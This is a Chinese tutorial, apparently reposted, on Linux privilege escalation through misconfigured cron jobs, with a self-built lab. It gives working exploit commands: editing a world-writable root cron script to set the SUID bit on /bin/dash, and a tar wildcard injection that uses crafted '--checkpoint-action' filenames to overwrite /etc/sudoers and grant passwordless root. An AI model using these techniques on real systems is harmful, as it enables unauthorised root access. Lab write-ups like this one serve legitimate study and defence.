利用定时任务(Cronjobs)进行Linux提权

文章目录

[隐藏]

  • cron jobs
  • Crontab文件覆写
    • 创建一个定时任务
    • 利用
  • Crontab Tar Wildcard注入
    • 创建定时任务
    • 利用
  • 总结

本文讲解如何利用Linux的Cron Jobs(定时任务)来进行权限提升。

cron jobs

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

比如,在下面的crontab 命令中,就可以每个1个小时自动打印apach错误日志。

1 0 * * * printf "" > /var/log/apache/error_log  
Crontab文件覆写

创建一个定时任务

目标:创建一个运行python脚本来擦除特定目录的所有数据
假设目录cleanup就是要擦除的目录,我们希望每隔2分钟就清除1次目录。首先,向该目录中创建一些文件:

mkdir cleanup  cd cleanup  echo "hello freinds" > 1.txt  echo "ALL files will be deleted in 2 mints" > 2.txt  echo "" > 1.php  echo "" > 2.php  ls  

下图是上面命令执行的结果:

下面我们写一个python程序来删除 /home/cleanup的内容。

cd /tmp  nano cleanup.py  
#!/usr/bin/env python  import os  import sys  try:     os.system('rm -r /home/cleanup/* ')  except:      sys.exit()  
chmod 777 cleanup.py  

编辑crontab添加定时任务,每隔2分钟运行一次cleanup.py脚本。

nano /etc/crontab  */2 *   * * *   root    /tmp /cleanup.py  

下面验证一下效果:

cd /home/cleanup  ls  date  ls  

利用

开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:

cat /etc/crontab  ls  -al /tmp/cleanup.py  cat /tmp/cleanup.py  

从上面的步骤,我们可以看出crontab 每隔2分钟执行一次python脚本。

下面想办法去利用它:

其实有许多方法可以获取root权限,我们采用开启/bin/dash SUID位的方法。首先,打开文件,比如nano cleanup.py,用下面的命令替换原来命令中的“rm -r /tmp/*”:

os.system('chmod u+s /bin/dash')  

2分钟后,就设置了/bin/dash的SUID权限,运行完成后就获取了root权限。

/bin/dash  id  whoami  

提权任务完成。

Crontab Tar Wildcard注入

创建定时任务

目标:创建一个备份的crontab任务。
该目录应该有backup的执行权限。

下面设定一个定时任务来运行tar程序,每分钟备份1次/html文件夹到/var/backups。

nano /etc/crontab  */1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*  

执行下面的命令来验证一下:

cd /var/backup  ls  date  

从下图可以看出,html.tgz文件每隔1分钟生成1次。

利用

开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:

cat /etc/crontab  

从下图可以看出该定时任务已成功以root权限执行了。

下面想办法去利用。
执行下面的命令来给当前登录用户sudo权限,随后进行wildcard注入。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh  echo "" > "--checkpoint-action=exec=sh test.sh"  echo "" > --checkpoint=1  tar cf archive.tar *  

1分钟后,用户被授予sudo权限。

sudo -l  sudo bash  whoami  

成功获取root权限。

总结

本文讲述了两种利用Linux定时任务crontab进行用户权限提升的方法。

原文出处:aliyun -> https://xz.aliyun.com/t/2401

本站所发布的一切资源仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如果侵犯你的利益,请发送邮箱到 [email protected],我们会很快的为您处理。